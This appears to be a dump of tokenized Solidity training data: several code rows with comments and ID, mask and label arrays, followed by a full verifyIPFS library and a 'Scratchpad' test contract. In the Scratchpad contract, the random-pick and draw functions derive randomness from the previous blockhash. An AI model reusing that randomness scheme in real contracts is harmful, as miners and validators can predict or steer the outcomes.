uint256 sdrAmount = getPriceBandCalculator().sell(sdrAmountBeforeFee, sgrTotal, alpha, beta);
emit MonetaryModelSellCompleted(_sgrAmount, sdrAmount);
return sdrAmount;
}
| 6,277,960 | [
1,
55,
1165,
348,
6997,
316,
7829,
364,
348,
6331,
18,
225,
389,
1055,
86,
6275,
1021,
3844,
434,
348,
6997,
5079,
628,
326,
29804,
18,
327,
1021,
3844,
434,
348,
6331,
716,
326,
29804,
353,
3281,
305,
1259,
358,
6798,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
357,
80,
12,
11890,
5034,
389,
1055,
86,
6275,
13,
3903,
1338,
24899,
45,
3342,
1318,
67,
13,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
6246,
265,
14911,
1488,
1119,
31198,
1488,
1119,
273,
2108,
265,
14911,
1488,
1119,
5621,
203,
3639,
467,
4006,
3198,
3673,
3198,
273,
31133,
3198,
5621,
203,
203,
3639,
2254,
5034,
272,
3197,
5269,
273,
31198,
1488,
1119,
18,
588,
55,
3197,
5269,
5621,
203,
3639,
261,
11890,
5034,
4190,
16,
2254,
5034,
6796,
13,
273,
3673,
3198,
18,
588,
3935,
4006,
4249,
73,
2556,
5621,
203,
3639,
2254,
5034,
20501,
8541,
273,
4190,
18,
1717,
12,
5758,
18,
16411,
12,
1055,
86,
5269,
10019,
203,
3639,
1815,
12,
6236,
67,
17950,
1648,
20501,
8541,
597,
20501,
8541,
1648,
4552,
67,
17950,
1769,
203,
3639,
2254,
5034,
272,
3069,
6275,
4649,
14667,
273,
357,
80,
2622,
24899,
1055,
86,
6275,
16,
31198,
1488,
1119,
16,
3673,
3198,
1769,
203,
3639,
2254,
5034,
272,
3069,
6275,
273,
25930,
14231,
19278,
7675,
87,
1165,
12,
87,
3069,
6275,
4649,
14667,
16,
272,
3197,
5269,
16,
4190,
16,
6796,
1769,
203,
203,
3639,
3626,
26196,
1488,
55,
1165,
9556,
24899,
1055,
86,
6275,
16,
272,
3069,
6275,
1769,
203,
3639,
327,
272,
3069,
6275,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0x95e62629CEA023288891E4087608d6b9E7ED2b7a/sources/DECO.sol | total token is 12200first airdrop token for everyonetoken for foundataion is 500token for airdrop is 200token for community is 500token for mining is 1500the top 9 community first token is 1425/9the top 9 community every month release token | constructor() public {
deploytime = now;
totalSupply = 12200 * decimalpoint;
name = "Decentralized Consensus";
symbol = "DECO";
decimals = 18;
balanceOf[FoundationAddress] = 500 * decimalpoint;
balanceOf[AirdropAddress] = 200 * decimalpoint;
balanceOf[CommunityAddress] = 500 * decimalpoint;
balanceOf[miningAddress] = 1500 * decimalpoint;
balanceOf[USAddress] = (1425 * decimalpoint) / 9;
balanceOf[ZhiZunAddress] = (1425 * decimalpoint) / 9;
balanceOf[ZhongYingAddress] = (1425 * decimalpoint) / 9;
balanceOf[YongHengAddress] = (1425 * decimalpoint) / 9;
balanceOf[HongchangAddress] = (1425 * decimalpoint) / 9;
balanceOf[HuiJuAddress] = (1425 * decimalpoint) / 9;
balanceOf[ChongShengAddress] = (1425 * decimalpoint) / 9;
balanceOf[ZhiQinAddress] = (1425 * decimalpoint) / 9;
balanceOf[WuKongAddress] = (1425 * decimalpoint) / 9;
timelist[0] = 1609430401;
timelist[1] = 1612108801;
timelist[2] = 1614528001;
timelist[3] = 1617206401;
timelist[4] = 1619798401;
timelist[5] = 1622476801;
timelist[6] = 1625068801;
timelist[7] = 1627747201;
timelist[8] = 1630425601;
}
| 16,034,172 | [
1,
4963,
1147,
353,
2593,
6976,
3645,
279,
6909,
1764,
1147,
364,
3614,
265,
278,
969,
364,
1392,
396,
285,
353,
6604,
2316,
364,
279,
6909,
1764,
353,
4044,
2316,
364,
19833,
353,
6604,
2316,
364,
225,
1131,
310,
353,
4711,
713,
5787,
1760,
2468,
19833,
1122,
1147,
353,
5045,
2947,
19,
29,
5787,
1760,
2468,
19833,
3614,
3138,
3992,
1147,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
3885,
1435,
1071,
288,
203,
3639,
7286,
957,
273,
2037,
31,
203,
3639,
2078,
3088,
1283,
273,
2593,
6976,
380,
6970,
1153,
31,
203,
3639,
508,
273,
315,
1799,
12839,
1235,
11020,
9781,
14432,
203,
3639,
3273,
273,
315,
1639,
3865,
14432,
203,
3639,
15105,
273,
6549,
31,
203,
3639,
11013,
951,
63,
27788,
1887,
65,
273,
6604,
380,
6970,
1153,
31,
203,
3639,
11013,
951,
63,
37,
6909,
1764,
1887,
65,
273,
4044,
380,
6970,
1153,
31,
203,
3639,
11013,
951,
63,
12136,
13352,
1887,
65,
273,
6604,
380,
6970,
1153,
31,
203,
3639,
11013,
951,
63,
1154,
310,
1887,
65,
273,
4711,
713,
380,
6970,
1153,
31,
203,
203,
3639,
11013,
951,
63,
3378,
1887,
65,
273,
261,
3461,
2947,
380,
6970,
1153,
13,
342,
2468,
31,
203,
3639,
11013,
951,
63,
62,
12266,
62,
318,
1887,
65,
273,
261,
3461,
2947,
380,
6970,
1153,
13,
342,
2468,
31,
203,
3639,
11013,
951,
63,
62,
76,
932,
61,
310,
1887,
65,
273,
261,
3461,
2947,
380,
6970,
1153,
13,
342,
2468,
31,
203,
3639,
11013,
951,
63,
61,
932,
44,
24688,
1887,
65,
273,
261,
3461,
2947,
380,
6970,
1153,
13,
342,
2468,
31,
203,
3639,
11013,
951,
63,
44,
932,
24083,
1887,
65,
273,
261,
3461,
2947,
380,
6970,
1153,
13,
342,
2468,
31,
203,
3639,
11013,
951,
63,
44,
4881,
46,
89,
1887,
65,
273,
261,
3461,
2947,
380,
6970,
1153,
13,
342,
2468,
31,
203,
3639,
11013,
951,
63,
782,
932,
1555,
24688,
1887,
65,
273,
261,
3461,
2
]
|
./full_match/1/0xdD8bd1a9927aB550Cf2fC0a9da14702F9c09ac88/sources/contracts/ChromiaDelegation.sol | provider got removed from whitelist this epoch
| bool lostWhitelist; | 2,989,865 | [
1,
6778,
2363,
3723,
628,
10734,
333,
7632,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
1426,
13557,
18927,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0;
pragma abicoder v2;
/// @title verifyIPFS
/// @author Martin Lundfall ([email protected])
library verifyIPFS {
bytes constant private prefix1 = hex"0a";
bytes constant private prefix2 = hex"080212";
bytes constant private postfix = hex"18";
bytes constant private sha256MultiHash = hex"1220";
bytes constant private ALPHABET = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
/// @dev generates the corresponding IPFS hash (in base 58) to the given string
/// @param contentString The content of the IPFS object
/// @return The IPFS hash in base 58
function generateHash(string memory contentString) internal pure returns (bytes memory) {
bytes memory content = bytes(contentString);
bytes memory len = lengthEncode(content.length);
bytes memory len2 = lengthEncode(content.length + 4 + 2*len.length);
return toBase58(concat(sha256MultiHash, toBytes(sha256(abi.encodePacked(prefix1, len2, prefix2, len, content, postfix, len)))));
}
/// @dev Compares an IPFS hash with content
function verifyHash(string memory contentString, string memory hash) internal pure returns (bool) {
return equal(generateHash(contentString), bytes(hash));
}
/// @dev Converts hex string to base 58
function toBase58(bytes memory source) internal pure returns (bytes memory) {
if (source.length == 0) return new bytes(0);
uint8[] memory digits = new uint8[](64); //TODO: figure out exactly how much is needed
digits[0] = 0;
uint8 digitlength = 1;
for (uint256 i = 0; i<source.length; ++i) {
uint carry = uint8(source[i]);
for (uint256 j = 0; j<digitlength; ++j) {
carry += uint(digits[j]) * 256;
digits[j] = uint8(carry % 58);
carry = carry / 58;
}
while (carry > 0) {
digits[digitlength] = uint8(carry % 58);
digitlength++;
carry = carry / 58;
}
}
//return digits;
return toAlphabet(reverse(truncate(digits, digitlength)));
}
function lengthEncode(uint256 length) internal pure returns (bytes memory) {
if (length < 128) {
return to_binary(length);
}
else {
return concat(to_binary(length % 128 + 128), to_binary(length / 128));
}
}
function toBytes(bytes32 input) internal pure returns (bytes memory) {
bytes memory output = new bytes(32);
for (uint8 i = 0; i<32; i++) {
output[i] = input[i];
}
return output;
}
function equal(bytes memory one, bytes memory two) internal pure returns (bool) {
if (!(one.length == two.length)) {
return false;
}
for (uint256 i = 0; i<one.length; i++) {
if (!(one[i] == two[i])) {
return false;
}
}
return true;
}
function truncate(uint8[] memory array, uint8 length) internal pure returns (uint8[] memory) {
uint8[] memory output = new uint8[](length);
for (uint256 i = 0; i<length; i++) {
output[i] = array[i];
}
return output;
}
function reverse(uint8[] memory input) internal pure returns (uint8[] memory) {
uint8[] memory output = new uint8[](input.length);
for (uint256 i = 0; i<input.length; i++) {
output[i] = input[input.length-1-i];
}
return output;
}
function toAlphabet(uint8[] memory indices) internal pure returns (bytes memory) {
bytes memory output = new bytes(indices.length);
for (uint256 i = 0; i<indices.length; i++) {
output[i] = ALPHABET[indices[i]];
}
return output;
}
function concat(bytes memory byteArray, bytes memory byteArray2) internal pure returns (bytes memory) {
bytes memory returnArray = new bytes(byteArray.length + byteArray2.length);
uint i = 0;
for (i; i < byteArray.length; i++) {
returnArray[i] = byteArray[i];
}
for (i; i < (byteArray.length + byteArray2.length); i++) {
returnArray[i] = byteArray2[i - byteArray.length];
}
return returnArray;
}
function to_binary(uint256 x) internal pure returns (bytes memory) {
if (x == 0) {
return new bytes(0);
}
else {
bytes1 s = bytes1(uint8(x % 256));
bytes memory r = new bytes(1);
r[0] = s;
return concat(to_binary(x / 256), r);
}
}
}
contract Scratchpad {
struct RedirectMap {
uint16 from;
uint16 to;
}
struct abc {
bytes16 a;
bytes16 b;
}
uint16[] public array;
uint16 public x;
uint256[31] internal _a1;
uint16[31] internal _a2;
mapping(uint256 => mapping (uint16 => uint16)) public temp_sparse_array;
mapping(uint256 => uint16[]) public draws;
mapping(uint16 => uint16) public sparse_array;
// the min onchain cost(via event) would be as at 2021/8/2(non EIP1559 transaction)
// 23K @ 2000 USD/ETH @ 10GWei = 0.46 USD
event RequestDataWithSender(address indexed from, uint256 request);
event RequestData(uint256 request);
event RequestData8(uint256 request);
//event RandomPick(uint256, uint16[] result, uint16[] draw, uint16[] s);
event RandomResult(uint256);
event RandomPick(uint256, uint16[] result);
event RedirectedMap(uint256, RedirectMap[] result);
event RandomPick24(uint256, uint24[] result);
// gas 22495 - london fork, probably the cheapest to store uint256 value on chain via event
function signal256(uint256 val) public {
emit RequestData(val);
}
// gas 22934 - london fork, slightly higher but allows searching from address
function signal256WithSender(uint256 val) public {
emit RequestDataWithSender(msg.sender, val);
}
// gas 22551 - london fork
// prove that uint256 is the optimal size for single value param in event, don't try to save there
function signal8(uint8 val) public {
emit RequestData8(val);
}
function arrayParam(uint16[] memory a) public {
emit RandomResult(a.length - a.length);
}
function allocArray1000() public {
array = new uint16[](1000);
}
function allocArray2000() public {
array = new uint16[](2000);
}
function assignArray(uint256 val, uint256 idx) public {
array[idx] = uint16(val);
}
function insertMap(uint256 val, uint256 idx) public {
sparse_array[uint16(idx)] = uint16(val);
}
function randomPick(uint16 pool, uint16 pick) public returns(uint16[] memory) {
uint256 i;
uint256 rand256 = uint256(keccak256(abi.encode(blockhash(block.number-1))));
mapping(uint16 => uint16) storage picked = temp_sparse_array[rand256];
uint16[] memory results = new uint16[](pick);
// uint16[] memory x = new uint16[](pick);
// uint16[] memory y = new uint16[](pick);
for (i = 0; i < pick; i++) {
uint16 mod = uint16(pool - i);
uint16 slot = uint16((rand256 >> i) % (mod));
slot = slot == 0 ? mod : slot;
results[i] = picked[slot] != 0 ? picked[slot] : slot;
picked[slot] = picked[mod] != 0 ? picked[mod] : mod;
}
emit RandomPick(rand256, results);
//emit RandomPick(rand256, results, x, y);
return results;
}
// function arrayRandomPick(uint16[] memory pool, uint16 pick) public returns(uint16[] memory) {
// uint256 i;
// uint256 poolSize = pool.length;
// uint256 rand256 = uint256(keccak256(abi.encode(blockhash(block.number-1))));
// uint16[] memory results = new uint16[](pick);
// for (i = 0; i < pick; i++) {
// uint16 mod = uint16(poolSize - i);
// uint16 slot = uint16((rand256 >> i) % (mod));
// slot = slot == 0 ? mod : slot;
// results[i] = pool[slot-1] != 0 ? pool[slot-1] : slot;
// pool[slot-1] = pool[mod-1] != 0 ? pool[mod-1] : mod;
// }
// emit RandomPick(rand256, results);
// //emit RandomPick(rand256, results, x, y);
// return results;
// }
function randomPickBulk(uint16 poolSize, uint16 pick, uint16[] memory alreadyDrawn) public {
uint256 rand256 = uint256(keccak256(abi.encode(blockhash(block.number-1))));
uint16[] memory results = arrayRandomPick(rand256, poolSize, pick, alreadyDrawn);
draws[rand256] = results;
//emit RandomResult(rand256);
emit RandomPick(rand256, results);
}
function arrayRandomPick(uint256 rand256, uint16 poolSize, uint16 pick, uint16[] memory alreadyDrawn) public pure returns(uint16[] memory) {
uint256 i;
uint256 r = rand256;
uint16[] memory pool = new uint16[](poolSize);
uint16[] memory results = new uint16[](pick);
RedirectMap[] memory usedSlot = fRedirectMap(alreadyDrawn, poolSize);
for (i =0; i < usedSlot.length; i++) {
pool[usedSlot[i].to] = usedSlot[i].from;
}
poolSize -= uint16(alreadyDrawn.length);
for (i = 0; i < alreadyDrawn.length; i++) {
uint16 drawn = alreadyDrawn[i];
if (drawn <= poolSize)
pool[drawn] = poolSize + uint16(i);
}
for (i = 0; i < pick; i++) {
uint16 mod = uint16(poolSize - i);
uint16 slot = uint16(r % (mod));
slot = slot == 0 ? mod : slot;
results[i] = pool[slot-1] != 0 ? pool[slot-1] : slot;
pool[slot-1] = pool[mod-1] != 0 ? pool[mod-1] : mod;
if (i % 128 == 127) {
r = uint256(keccak256(abi.encode(r)));
}
else {
r >>= 1;
}
}
return results;
}
function redirectMap(uint16[] memory alreadyDrawn, uint16 base) public {
RedirectMap[] memory result = fRedirectMap(alreadyDrawn, base);
emit RedirectedMap(0,result);
}
function fRedirectMap(uint16[] memory alreadyDrawn, uint16 base) public pure returns(RedirectMap[] memory) {
uint256 i;
uint256 replace = 0;
uint256 len = alreadyDrawn.length;
uint256 n = len;
RedirectMap[] memory result = new RedirectMap[](len);
for (i = 0; i < alreadyDrawn.length; i++) {
if (alreadyDrawn[n - 1] != base - i) {
result[len - 1 - i] = RedirectMap(uint16(base - i), alreadyDrawn[replace]);
replace += 1;
}
else {
result[len - 1 - i] = RedirectMap(uint16(base - i), 0);
n -= 1;
}
}
return result;
}
function min(uint256 bits) public pure returns(int256) {
return 0 - int256(2**(bits-1));
}
function max(uint256 bits) public pure returns(int256) {
return int256(2**bits-1);
}
function sort(uint16[] memory data) public {
fQuickSort(data, 0, int(data.length - 1));
emit RandomPick(0, data);
}
function shuffle(uint256 rand256, uint16 size) public {
fShuffle(rand256, size);
emit RandomResult(rand256);
}
function fShuffle(uint256 rand256, uint16 size) public pure returns(uint16[] memory) {
uint256 i;
uint16 j;
uint16[] memory result = new uint16[](size);
uint256 r = rand256;
// for(i = 0; i < size; i++) {
// result[i] = uint16(i+1);
// }
for (i = size - 1; i > 0; i--) {
j = uint16(r % (i+1));
if (result[i] == 0) result[i] = uint16(i+1);
if (result[j] == 0) result[j] = j+1;
uint16 z = result[j];
result[j] = result[i];
result[i] = z;
if ((size - i) % 128 == 0) {
r = uint256(keccak256(abi.encode(r)));
}
else {
r >>= 1;
}
}
return result;
}
function fQuickSort(uint16[] memory arr, int left, int right) public pure returns(uint16[] memory) {
int i = left;
int j = right;
if(i==j) return arr;
uint pivot = arr[uint(left + (right - left) / 2)];
while (i <= j) {
while (arr[uint(i)] < pivot) i++;
while (pivot < arr[uint(j)]) j--;
if (i <= j) {
(arr[uint(i)], arr[uint(j)]) = (arr[uint(j)], arr[uint(i)]);
i++;
j--;
}
}
if (left < j)
fQuickSort(arr, left, j);
if (i < right)
fQuickSort(arr, i, right);
return arr;
}
function getRandomResult(uint256 round) public view returns(uint16[] memory) {
return draws[round];
}
function getETH1WithdrawAddress(bytes32 withdrawal_credential) public pure returns(bytes1, address) {
// bytes1 prefix;
// bytes12 filler;
// address eth1Address;
bytes memory xx = abi.encodePacked(withdrawal_credential);
bytes1 prefix = xx[0];
xx[0] = 0;
(address eth1Address) = abi.decode(xx, (address));
return (prefix, eth1Address);
}
function a1() public {
uint i;
for (i = 0; i < _a1.length; i++) {
_a1[i] = 1;
_a2[i] = 1;
}
}
function abiDecodeTest(
bytes memory _data
)
public
pure
returns(
bytes4 sig,
bytes32 label,
address account,
bytes32 pubkeyA,
bytes32 pubkeyB
)
{
assembly {
sig := mload(add(_data, 32))
label := mload(add(_data, 36))
account := mload(add(_data, 68))
pubkeyA := mload(add(_data, 100))
pubkeyB := mload(add(_data, 132))
}
}
function getBlockNumber() public view returns (uint256, uint256) {
return (block.number, block.timestamp);
}
function bytesUp(bytes memory data) public pure returns(bytes4) {
return bytes4(data[0]);
}
function bytesDown(bytes4 data) public pure returns(bytes1) {
return bytes1(data);
}
function subString(string calldata s, uint start) public view returns(string memory) {
return string(this._slice(bytes(s), start));
}
function _slice(bytes calldata data, uint start) public pure returns(bytes memory) {
return data[start:];
}
function mul(uint256 a, uint256 b) public pure returns(uint256) {
return a*b;
}
function muldiv(uint256 a, uint256 b, uint256 c) public pure returns(uint256) {
return (a*b/c);
}
function addminus(uint256 a, uint256 b, uint256 c) public pure returns(uint256) {
return (a + b - c);
}
// FROM https://github.com/abdk-consulting/abdk-libraries-solidity/blob/16d7e1dd8628dfa2f88d5dadab731df7ada70bdd/ABDKMath64x64.sol#L687
function sqrt(uint256 _x) public pure returns (uint128) {
if (_x == 0) return 0;
else {
uint256 xx = _x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; }
if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; }
if (xx >= 0x100000000) { xx >>= 32; r <<= 16; }
if (xx >= 0x10000) { xx >>= 16; r <<= 8; }
if (xx >= 0x100) { xx >>= 8; r <<= 4; }
if (xx >= 0x10) { xx >>= 4; r <<= 2; }
if (xx >= 0x8) { r <<= 1; }
r = (r + _x / r) >> 1;
r = (r + _x / r) >> 1;
r = (r + _x / r) >> 1;
r = (r + _x / r) >> 1;
r = (r + _x / r) >> 1;
r = (r + _x / r) >> 1;
r = (r + _x / r) >> 1; // Seven iterations should be enough
uint256 r1 = _x / r;
return uint128 (r < r1 ? r : r1);
}
}
function sqrtPriceX96(uint256 p1InUSD18decimals, uint256 p1Decimals, uint256 p2InUSD18decimals, uint256 p2Decimals) public pure returns (uint160 result) {
uint256 UNIT_0 = 10 ** p1Decimals;
uint256 UNIT_1 = 10 ** p2Decimals;
result = uint160(sqrt(mul(mul(p1InUSD18decimals, UNIT_1), (1 << 96)) / (mul(p2InUSD18decimals, UNIT_0))) << 48);
}
function getChainID() public view returns (uint256) {
uint256 id;
assembly {
id := chainid()
}
return id;
}
/// @dev convert string decimal to uint256(scaled)
/// @param _a base10 string with optional decimal point like 1.234
/// @param _b decimal points to take, so parseInt("1.234",2) would give 123
/// @return _parsedInt result scaled to decimal, i.e 1.23 -> 123
/// borrowed from https://github.com/provable-things/ethereum-api/blob/master/oraclizeAPI_0.5.sol
function parseInt(string calldata _a, uint _b) public pure returns (uint _parsedInt) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i = 0; i < bresult.length; i++) {
if ((uint(uint8(bresult[i])) >= 48) && (uint(uint8(bresult[i])) <= 57)) {
if (decimals) {
if (_b == 0) {
break;
} else {
_b--;
}
}
mint *= 10;
mint += uint(uint8(bresult[i])) - 48;
} else if (uint(uint8(bresult[i])) == 46) {
decimals = true;
}
}
if (_b > 0) {
mint *= 10 ** _b;
}
return mint;
}
function fromHexChar(uint8 c) internal pure returns (uint8) {
if (bytes1(c) >= bytes1("0") && bytes1(c) <= bytes1("9")) {
return c - uint8(bytes1("0"));
}
if (bytes1(c) >= bytes1("a") && bytes1(c) <= bytes1("f")) {
return 10 + c - uint8(bytes1("a"));
}
if (bytes1(c) >= bytes1("A") && bytes1(c) <= bytes1("F")) {
return 10 + c - uint8(bytes1("A"));
}
revert("hex string only allows [0-9,A-F,a-f]");
}
function fromHex(string memory s) public pure returns (bytes memory) {
bytes memory ss = bytes(s);
require(ss.length%2 == 0,"hex string must be padded and with 0x prefix, so \"0\" should be \"0x00\""); // length must be even
uint256 start = ss[0] == "0" && ss[1] == "x" ? 2 : 0;
bytes memory r = new bytes((ss.length - start)/2);
for (uint i=start; i<ss.length/2; ++i) {
r[i-start] = bytes1(fromHexChar(uint8(ss[2*i])) * 16 +
fromHexChar(uint8(ss[2*i+1])));
}
return r;
}
function addressToString(address _address) public pure returns(string memory) {
bytes memory _bytes = abi.encodePacked(bytes20(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _string = new bytes(42);
_string[0] = "0";
_string[1] = "x";
for(uint i = 0; i < 20; i++) {
_string[2+i*2] = HEX[uint8(_bytes[i] >> 4)];
_string[3+i*2] = HEX[uint8(_bytes[i] & 0x0f)];
}
return string(_string);
}
function stringToAddress(string memory _address) public pure returns(address addr) {
bytes memory _bytes = fromHex(_address);
require(_bytes.length == 20, "invalid address format");
assembly {
addr := mload(add(_bytes,20))
}
}
function toAddress(bytes memory _bytes, uint256 _start) public pure returns (address) {
require(_start + 20 >= _start, "toAddress_overflow");
require(_bytes.length >= _start + 20, "toAddress_outOfBounds");
address tempAddress;
assembly {
tempAddress := div(mload(add(add(_bytes, 0x20), _start)), 0x1000000000000000000000000)
}
return tempAddress;
}
function slice(bytes memory _bytes, uint _start, uint _length) private pure returns (bytes memory) {
require(_bytes.length >= (_start + _length),"_bytes size must >= _start + _length");
bytes memory tempBytes;
assembly {
switch iszero(_length)
case 0 {
// Get a location of some free memory and store it in tempBytes as
// Solidity does for memory variables.
tempBytes := mload(0x40)
// The first word of the slice result is potentially a partial
// word read from the original array. To read it, we calculate
// the length of that partial word and start copying that many
// bytes into the array. The first word we copy will start with
// data we don't care about, but the last `lengthmod` bytes will
// land at the beginning of the contents of the new array. When
// we're done copying, we overwrite the full first word with
// the actual length of the slice.
let lengthmod := and(_length, 31)
// The multiplication in the next line is necessary
// because when slicing multiples of 32 bytes (lengthmod == 0)
// the following copy loop was copying the origin's length
// and then ending prematurely not copying everything it should.
let mc := add(add(tempBytes, lengthmod), mul(0x20, iszero(lengthmod)))
let end := add(mc, _length)
for {
// The multiplication in the next line has the same exact purpose
// as the one above.
let cc := add(add(add(_bytes, lengthmod), mul(0x20, iszero(lengthmod))), _start)
} lt(mc, end) {
mc := add(mc, 0x20)
cc := add(cc, 0x20)
} {
mstore(mc, mload(cc))
}
mstore(tempBytes, _length)
//update free-memory pointer
//allocating the array padded to 32 bytes like the compiler does now
mstore(0x40, and(add(mc, 31), not(31)))
}
//if we want a zero-length slice let's just return a zero-length array
default {
tempBytes := mload(0x40)
mstore(0x40, add(tempBytes, 0x20))
}
}
return tempBytes;
}
